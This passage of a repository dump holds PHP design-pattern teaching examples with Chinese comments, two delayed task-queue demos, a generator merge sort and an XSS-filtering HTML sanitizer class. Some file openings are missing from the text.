false; 153 | } 154 | if (!empty($this->minPrice) && $item->getPrice() < $this->minPrice) { 155 | return false; 156 | } 157 | 158 | return true; 159 | } 160 | } 161 | 162 | 163 | // 客户端调用示例 164 | 165 | //创建两个价格规格 166 | $spec1 = new PriceSpecification(); 167 | $spec2 = new PriceSpecification(); 168 | 169 | //进行或的条件组合 170 | $either = $spec1->either($spec2); //抽象规格类中定义了either方法,返回组合后的规格 171 | 172 | $price = 100; 173 | $item = new Item($price); 174 | echo $either->isSatisfiedBy($item); -------------------------------------------------------------------------------- /state.php: -------------------------------------------------------------------------------- 1 | current = new AmState(); 24 | } 25 | 26 | public function SetState(IState $s) { 27 | $this->current = $s; 28 | } 29 | 30 | public function WriteCode() { 31 | $this->current->WriteCode($this); 32 | } 33 | } 34 | 35 | //上午工作状态 36 | class AmState implements IState { 37 | public function WriteCode(Work $w) { 38 | if ($w->hour <= 12) { 39 | echo "当前时间:{$w->hour}点,上午工作;犯困,午休。" . PHP_EOL; 40 | } else { 41 | $w->SetState(new PmState()); 42 | $w->WriteCode(); 43 | } 44 | } 45 | } 46 | 47 | //下午工作状态 48 | class PmState implements IState { 49 | public function WriteCode(Work $w) { 50 | if ($w->hour <= 17) { 51 | echo "当前时间:{$w->hour}点,下午工作状态还不错,继续努力。" . PHP_EOL; 52 | } else { 53 | $w->SetState(new NightState()); 54 | $w->WriteCode(); 55 | } 56 | } 57 | } 58 | 59 | //晚上工作状态 60 | class NightState implements IState { 61 | 62 | public function WriteCode(Work $w) { 63 | if ($w->IsDone) { 64 | $w->SetState(new BreakState()); 65 | $w->WriteCode(); 66 | } else { 67 | if ($w->hour <= 21) { 68 | echo "当前时间:{$w->hour}点,加班哦,疲累至极。" . PHP_EOL; 69 | } else { 70 | $w->SetState(new SleepState()); 71 | $w->WriteCode(); 72 | } 73 | } 74 | } 75 | } 76 | 77 | //睡眠状态 78 | class SleepState implements IState { 79 | 80 | public function WriteCode(Work $w) { 81 | echo "当前时间:{$w->hour}点,不行了,睡着了。" . PHP_EOL; 82 | } 83 | } 84 | 85 | //休息状态 86 | class BreakState implements IState { 87 | 88 | public function WriteCode(Work $w) { 89 | echo "当前时间:{$w->hour}点,下班回家了。" . PHP_EOL; 90 | } 91 | } 92 | 93 | $emergWork = new Work(); 94 | $emergWork->hour = 9; 95 | $emergWork->WriteCode(); 96 | $emergWork->hour = 10; 97 | $emergWork->WriteCode(); 98 | $emergWork->hour = 13; 99 | $emergWork->WriteCode(); 100 | $emergWork->hour = 14; 101 | $emergWork->WriteCode(); 102 | $emergWork->hour = 17; 103 | $emergWork->WriteCode(); 104 | $emergWork->IsDone = false; 105 | $emergWork->hour = 19; 106 | $emergWork->WriteCode(); 107 | $emergWork->hour = 22; 108 | $emergWork->WriteCode(); -------------------------------------------------------------------------------- /staticFactory.php: -------------------------------------------------------------------------------- 1 | connect_db(); -------------------------------------------------------------------------------- /strategy.php: -------------------------------------------------------------------------------- 1 | _flyBehavior->fly(); 33 | } 34 | 35 | public function setFlyBehavior(FlyBehavior $behavior) { 36 | $this->_flyBehavior = $behavior; 37 | } 38 | } 39 | 40 | class RubberDuck extends Duck { 41 | } 42 | 43 | // Test Case 44 | $duck = new RubberDuck(); 45 | 46 | /* 想让鸭子用翅膀飞行 */ 47 | $duck->setFlyBehavior(new FlyWithWings()); 48 | $duck->performFly(); 49 | 50 | /* 想让鸭子不用翅膀飞行 */ 51 | $duck->setFlyBehavior(new FlyWithNo()); 52 | $duck->performFly(); 53 | -------------------------------------------------------------------------------- /template.php: -------------------------------------------------------------------------------- 1 | name = $name; 18 | } 19 | 20 | public function MakeFlow() { 21 | $this->MakeBattery(); 22 | $this->MakeCamera(); 23 | $this->MakeScreen(); 24 | echo $this->name . "手机生产完毕!" . PHP_EOL; 25 | } 26 | 27 | public abstract function MakeScreen(); 28 | 29 | public abstract function MakeBattery(); 30 | 31 | public abstract function MakeCamera(); 32 | } 33 | 34 | //小米手机 35 | class XiaoMi extends MakePhone { 36 | public function __construct($name = '小米') { 37 | parent::__construct($name); 38 | } 39 | 40 | public function MakeBattery() { 41 | echo "小米电池生产完毕!" . PHP_EOL; 42 | } 43 | 44 | public function MakeCamera() { 45 | echo "小米相机生产完毕!" . PHP_EOL; 46 | } 47 | 48 | public function MakeScreen() { 49 | echo "小米屏幕生产完毕!" . PHP_EOL; 50 | } 51 | } 52 | 53 | //魅族手机 54 | class FlyMe extends MakePhone { 55 | function __construct($name = '魅族') { 56 | parent::__construct($name); 57 | } 58 | 59 | public function MakeBattery() { 60 | echo "魅族电池生产完毕!" . PHP_EOL; 61 | } 62 | 63 | public function MakeCamera() { 64 | echo "魅族相机生产完毕!" . PHP_EOL; 65 | } 66 | 67 | public function MakeScreen() { 68 | echo "魅族屏幕生产完毕!" . PHP_EOL; 69 | } 70 | } 71 | 72 | $miui = new XiaoMi(); 73 | $flyMe = new FlyMe(); 74 | 75 | $miui->MakeFlow(); 76 | $flyMe->MakeFlow(); -------------------------------------------------------------------------------- /timeQueue.class.php: -------------------------------------------------------------------------------- 1 | connect('127.0.0.1', 6379); 22 | $this->redis = $conn; 23 | } 24 | 25 | /** 26 | * 添加一个任务:任务名,什么时候执行,参数array 27 | * @param $name 28 | * @param $args 29 | * @param $time 30 | */ 31 | public function add_task($name,$args,$time) { 32 | $this->key = $name; 33 | $saveData = array('name'=>$name,'args'=>$args); 34 | $members = json_encode($saveData); 35 | $this->redis->zAdd($this->key,time()+$time,$members); 36 | } 37 | 38 | /** 39 | * 监听某个任务:任务名,执行该任务的函数 40 | * @param $eventName 41 | * @param $func 42 | * @return bool 43 | */ 44 | public function listen_task($eventName, $func){ 45 | if(in_array($eventName,$this->task)){ 46 | return false; 47 | } 48 | $this->task[$eventName]=$func; 49 | } 50 | 51 | /** 52 | * 移除一个存在的任务 53 | * @param $eventName 54 | */ 55 | public function remove_task($eventName){ 56 | if(in_array($eventName,array_keys($this->task))){ 57 | unset($this->task[$eventName]); 58 | } 59 | } 60 | 61 | /** 62 | * 运行 63 | */ 64 | public function run(){ 65 | while (true) { 66 | $result = $this->redis->zRange($this->key, 0, 0, true); 67 | if (count($result) == 0){ 68 | usleep(500); 69 | continue; 70 | } 71 | $scoreArr = array_values($result); 72 | if($scoreArr[0]>time()){ 73 | usleep(500); 74 | continue; 75 | } 76 | $itemArr = array_keys($result); 77 | $v = $this->redis->zRem($this->key, $itemArr[0]); 78 | if($v==false){ 79 | continue; 80 | } 81 | $data = json_decode($itemArr[0],1); 82 | if(in_array($data['name'],array_keys($this->task))){ 83 | $this->task[$data['name']]($data['args']); 84 | } 85 | } 86 | } 87 | 88 | } 89 | 90 | $obj = new timeQueue(); 91 | //添加任务并制定多少秒之后执行 92 | $obj->add_task('test',[1,2],3); 93 | $obj->add_task('demo',[1,2],2); 94 | $obj->add_task('bug',[1,2],12); 95 | $obj->add_task('test',[3,4],1); 96 | $obj->add_task('test',[5,6],8); 97 | //回调函数 98 | $func = function ($args){ 99 | var_dump($args); 100 | }; 101 | //设置需要监听的任务 102 | $obj->listen_task('test',$func); 103 | $obj->listen_task('demo',$func); 104 | //移除一个已经注册了的任务 105 | $obj->remove_task('bug'); 106 | $obj->run(); 107 | 108 | -------------------------------------------------------------------------------- /timeTask.php: -------------------------------------------------------------------------------- 1 | event[$second][$task]['index'] = $index; 21 | $this->event[$second][$task]['args'] = $args; 22 | } 23 | 24 | //监听任务 25 | public function listen_task($eventName, $func){ 26 | if(in_array($eventName,$this->task)){ 27 | return false; 28 | } 29 | $this->task[$eventName]=$func; 30 | } 31 | 32 | //移除任务 33 | public function remove_task($eventName){ 34 | if(in_array($eventName, array_keys($this->task))){ 35 | unset($this->task[$eventName]); 36 | } 37 | } 38 | 39 | public function run(){ 40 | while (1) { 41 | for($second=0;$second<3600;$second++){ 42 | sleep(1); 43 | if(isset($this->event[$second]) && is_array($this->event[$second])){ 44 | foreach ($this->event[$second] as $func => $val_arr) { 45 | foreach ($val_arr as $key => $val) { 46 | if($key=='index' && $val<=0){ 47 | //执行task,如果task耗时,可以在推到另一个队列消耗 48 | if(in_array($func, array_keys($this->task))){ 49 | $this->task[$func]($this->event[$second][$func]['args']); 50 | unset($this->event[$second][$func]); 51 | } 52 | }else{ 53 | if(in_array($func, array_keys($this->task)) && isset($this->event[$second][$func])){ 54 | $this->event[$second][$func]['index'] = $this->event[$second][$func]['index']-1; 55 | } 56 | } 57 | } 58 | } 59 | } 60 | } 61 | } 62 | } 63 | 64 | } 65 | 66 | //参数分别为:所执行的task,参数,延迟的时间 67 | timeTask::instance()->add_event('lock',[1,2,1],1); 68 | timeTask::instance()->add_event('root',[8,9,1],1); 69 | timeTask::instance()->add_event('test',[3,4,3],3); 70 | timeTask::instance()->add_event('test',[7,8,10],10); 71 | //设置回调函数 72 | $func = function($args){ 73 | echo date('Y-m-d H:i:s').",当前正在执行第".$args[2]."s任务...\n"; 74 | var_export($args); 75 | echo "\n\n"; 76 | }; 77 | timeTask::instance()->listen_task('test',$func); 78 | timeTask::instance()->listen_task('lock',$func); 79 | timeTask::instance()->listen_task('root',$func); 80 | #移除一个已经注册的任务 81 | timeTask::instance()->remove_task('root'); 82 | 83 | timeTask::instance()->run(); 84 | 85 | 86 | // ➜ ~ php timeTask.php 87 | // 2017-03-24 09:19:02,当前正在执行第1s任务... 88 | // array ( 89 | // 0 => 1, 90 | // 1 => 2, 91 | // 2 => 1, 92 | // ) 93 | 94 | // 2017-03-24 09:19:04,当前正在执行第3s任务... 95 | // array ( 96 | // 0 => 3, 97 | // 1 => 4, 98 | // 2 => 3, 99 | // ) 100 | 101 | // 2017-03-24 09:19:11,当前正在执行第10s任务... 102 | // array ( 103 | // 0 => 7, 104 | // 1 => 8, 105 | // 2 => 10, 106 | // ) 107 | 108 | 109 | 110 | 111 | 112 | -------------------------------------------------------------------------------- /visitor.php: -------------------------------------------------------------------------------- 1 | visitEnerpriseCustomer($this); 41 | } 42 | } 43 | 44 | /** 45 | * 具体元素,个人客户 46 | * Class PersonalCustomer 47 | */ 48 | class PersonalCustomer extends Customer { 49 | /** 50 | * 接受访问者 51 | * 52 | * @param ServiceRequestVisitor $visitor 53 | */ 54 | public function accept(ServiceRequestVisitor $visitor) { 55 | $visitor->visitPersonalCustomer($this); 56 | } 57 | } 58 | 59 | /** 60 | *访问者接口 61 | */ 62 | interface Visitor { 63 | 64 | /** 65 | * 访问企业用户 66 | * 67 | * @param EnterpriseCustomer $ec 68 | * @return mixed 69 | */ 70 | public function visitEnerpriseCustomer(EnterpriseCustomer $ec); 71 | 72 | /** 73 | * 访问个人用户 74 | * 75 | * @param PersonalCustomer $pc 76 | * @return mixed 77 | */ 78 | public function visitPersonalCustomer(PersonalCustomer $pc); 79 | } 80 | 81 | /** 82 | * 具体的访问者 83 | * 对服务提出请求 84 | * Class ServiceRequestVisitor 85 | */ 86 | class ServiceRequestVisitor implements Visitor { 87 | //访问企业客户 88 | public function visitEnerpriseCustomer(EnterpriseCustomer $ec) { 89 | echo $ec->name . '企业提出服务请求。' . PHP_EOL; 90 | } 91 | 92 | //访问个人用户 93 | public function visitPersonalCustomer(PersonalCustomer $pc) { 94 | echo '客户' . $pc->name . '提出请求。' . PHP_EOL; 95 | } 96 | } 97 | 98 | /** 99 | *对象结构 100 | *存储要访问的对象 101 | */ 102 | class ObjectStructure { 103 | /** 104 | *存储客户对象 105 | * 106 | * @var array 107 | */ 108 | private $obj = array(); 109 | 110 | public function addElement($ele) { 111 | array_push($this->obj, $ele); 112 | } 113 | 114 | /** 115 | *处理请求 116 | * 117 | * @param $visitor Visitor 118 | */ 119 | public function handleRequest(Visitor $visitor) { 120 | //遍历对象结构中的元素,接受访问 121 | foreach ($this->obj as $ele) { 122 | $ele->accept($visitor); 123 | } 124 | } 125 | } 126 | 127 | //对象结构 128 | $os = new ObjectStructure(); 129 | 130 | //添加元素 131 | $ele1 = new EnterpriseCustomer(); 132 | $ele1->name = 'ABC集团'; 133 | $os->addElement($ele1); 134 | 135 | $ele2 = new EnterpriseCustomer(); 136 | $ele2->name = 'DEF集团'; 137 | $os->addElement($ele2); 138 | 139 | $ele3 = new PersonalCustomer(); 140 | $ele3->name = '张三'; 141 | $os->addElement($ele3); 142 | 143 | $serviceVisitor = new ServiceRequestVisitor(); 144 | $os->handleRequest($serviceVisitor); -------------------------------------------------------------------------------- /xsshtml.class.php: -------------------------------------------------------------------------------- 1 | '; 14 | # $xss = new XssHtml($html); 15 | # $html = $xss->getHtml(); 16 | # ?\> 17 | # 18 | # 需求: 19 | # PHP Version > 5.0 20 | # 浏览器版本:IE7+ 或其他浏览器,无法防御IE6及以下版本浏览器中的XSS 21 | # 更多使用选项见 http://phith0n.github.io/XssHtml 22 | 23 | class XssHtml { 24 | private $m_dom; 25 | private $m_xss; 26 | private $m_ok; 27 | private $m_AllowAttr = array('title', 'src', 'href', 'id', 'class', 'style', 'width', 'height', 'alt', 'target', 'align'); 28 | private $m_AllowTag = array('a', 'img', 'br', 'strong', 'b', 'code', 'pre', 'p', 'div', 'em', 'span', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'table', 'ul', 'ol', 'tr', 'th', 'td', 'hr', 'li', 'u'); 29 | 30 | /** 31 | * 构造函数 32 | * 33 | * @param string $html 待过滤的文本 34 | * @param string $charset 文本编码,默认utf-8 35 | * @param array $AllowTag 允许的标签,如果不清楚请保持默认,默认已涵盖大部分功能,不要增加危险标签 36 | */ 37 | public function __construct($html, $charset = 'utf-8', $AllowTag = array()){ 38 | $this->m_AllowTag = empty($AllowTag) ? $this->m_AllowTag : $AllowTag; 39 | $this->m_xss = strip_tags($html, '<' . implode('><', $this->m_AllowTag) . '>'); 40 | if (empty($this->m_xss)) { 41 | $this->m_ok = FALSE; 42 | return ; 43 | } 44 | $this->m_xss = "" . $this->m_xss; 45 | $this->m_dom = new DOMDocument(); 46 | $this->m_dom->strictErrorChecking = FALSE; 47 | $this->m_ok = @$this->m_dom->loadHTML($this->m_xss); 48 | } 49 | 50 | /** 51 | * 获得过滤后的内容 52 | */ 53 | public function getHtml() 54 | { 55 | if (!$this->m_ok) { 56 | return ''; 57 | } 58 | $nodeList = $this->m_dom->getElementsByTagName('*'); 59 | for ($i = 0; $i < $nodeList->length; $i++){ 60 | $node = $nodeList->item($i); 61 | if (in_array($node->nodeName, $this->m_AllowTag)) { 62 | if (method_exists($this, "__node_{$node->nodeName}")) { 63 | call_user_func(array($this, "__node_{$node->nodeName}"), $node); 64 | }else{ 65 | call_user_func(array($this, '__node_default'), $node); 66 | } 67 | } 68 | } 69 | return strip_tags($this->m_dom->saveHTML(), '<' . implode('><', $this->m_AllowTag) . '>'); 70 | } 71 | 72 | private function __true_url($url){ 73 | if (preg_match('#^https?://.+#is', $url)) { 74 | return $url; 75 | }else{ 76 | return 'http://' . $url; 77 | } 78 | } 79 | 80 | private function __get_style($node){ 81 | if ($node->attributes->getNamedItem('style')) { 82 | $style = $node->attributes->getNamedItem('style')->nodeValue; 83 | $style = str_replace('\\', ' ', $style); 84 | $style = str_replace(array('', '/*', '*/'), ' ', $style); 85 | $style = preg_replace('#e.*x.*p.*r.*e.*s.*s.*i.*o.*n#Uis', ' ', $style); 86 | return $style; 87 | }else{ 88 | return ''; 89 | } 90 | } 91 | 92 | private function __get_link($node, $att){ 93 | $link = $node->attributes->getNamedItem($att); 94 | if ($link) { 95 | return $this->__true_url($link->nodeValue); 96 | }else{ 97 | return ''; 98 | } 99 | } 100 | 101 | private function __setAttr($dom, $attr, $val){ 102 | if (!empty($val)) { 103 | $dom->setAttribute($attr, $val); 104 | } 105 | } 106 | 107 | private function __set_default_attr($node, $attr, $default = '') 108 | { 109 | $o = $node->attributes->getNamedItem($attr); 110 | if ($o) { 111 | $this->__setAttr($node, $attr, $o->nodeValue); 112 | }else{ 113 | $this->__setAttr($node, $attr, $default); 114 | } 115 | } 116 | 117 | private function __common_attr($node) 118 | { 119 | $list = array(); 120 | foreach ($node->attributes as $attr) { 121 | if (!in_array($attr->nodeName, 122 | $this->m_AllowAttr)) { 123 | $list[] = $attr->nodeName; 124 | } 125 | } 126 | foreach ($list as $attr) { 127 | $node->removeAttribute($attr); 128 | } 129 | $style = $this->__get_style($node); 130 | $this->__setAttr($node, 'style', $style); 131 | $this->__set_default_attr($node, 'title'); 132 | $this->__set_default_attr($node, 'id'); 133 | $this->__set_default_attr($node, 'class'); 134 | } 135 | 136 | private function __node_img($node){ 137 | $this->__common_attr($node); 138 | 139 | $this->__set_default_attr($node, 'src'); 140 | $this->__set_default_attr($node, 'width'); 141 | $this->__set_default_attr($node, 'height'); 142 | $this->__set_default_attr($node, 'alt'); 143 | $this->__set_default_attr($node, 'align'); 144 | 145 | } 146 | 147 | private function __node_a($node){ 148 | $this->__common_attr($node); 149 | $href = $this->__get_link($node, 'href'); 150 | 151 | $this->__setAttr($node, 'href', $href); 152 | $this->__set_default_attr($node, 'target', '_blank'); 153 | } 154 | 155 | private function __node_embed($node){ 156 | $this->__common_attr($node); 157 | $link = $this->__get_link($node, 'src'); 158 | 159 | $this->__setAttr($node, 'src', $link); 160 | $this->__setAttr($node, 'allowscriptaccess', 'never'); 161 | $this->__set_default_attr($node, 'width'); 162 | $this->__set_default_attr($node, 'height'); 163 | } 164 | 165 | private function __node_default($node){ 166 | $this->__common_attr($node); 167 | } 168 | } 169 | 170 | ?> 171 | -------------------------------------------------------------------------------- /yield_sort.php: -------------------------------------------------------------------------------- 1 | $value) { 13 | yield $value; 14 | } 15 | break; 16 | } 17 | if(count($b)==0){ 18 | foreach ($a as $key => $value) { 19 | yield $value; 20 | } 21 | break; 22 | } 23 | if($a[0]>$b[0]){ 24 | yield array_shift($b); 25 | }else{ 26 | yield array_shift($a); 27 | } 28 | } 29 | } 30 | 31 | $a=[1,3,5,7,9,18,19,20]; 32 | $b=[2,4,6,8,22]; 33 | foreach (sort_arr($a,$b) as $key => $value) { 34 | echo $value.'--->'; 35 | } --------------------------------------------------------------------------------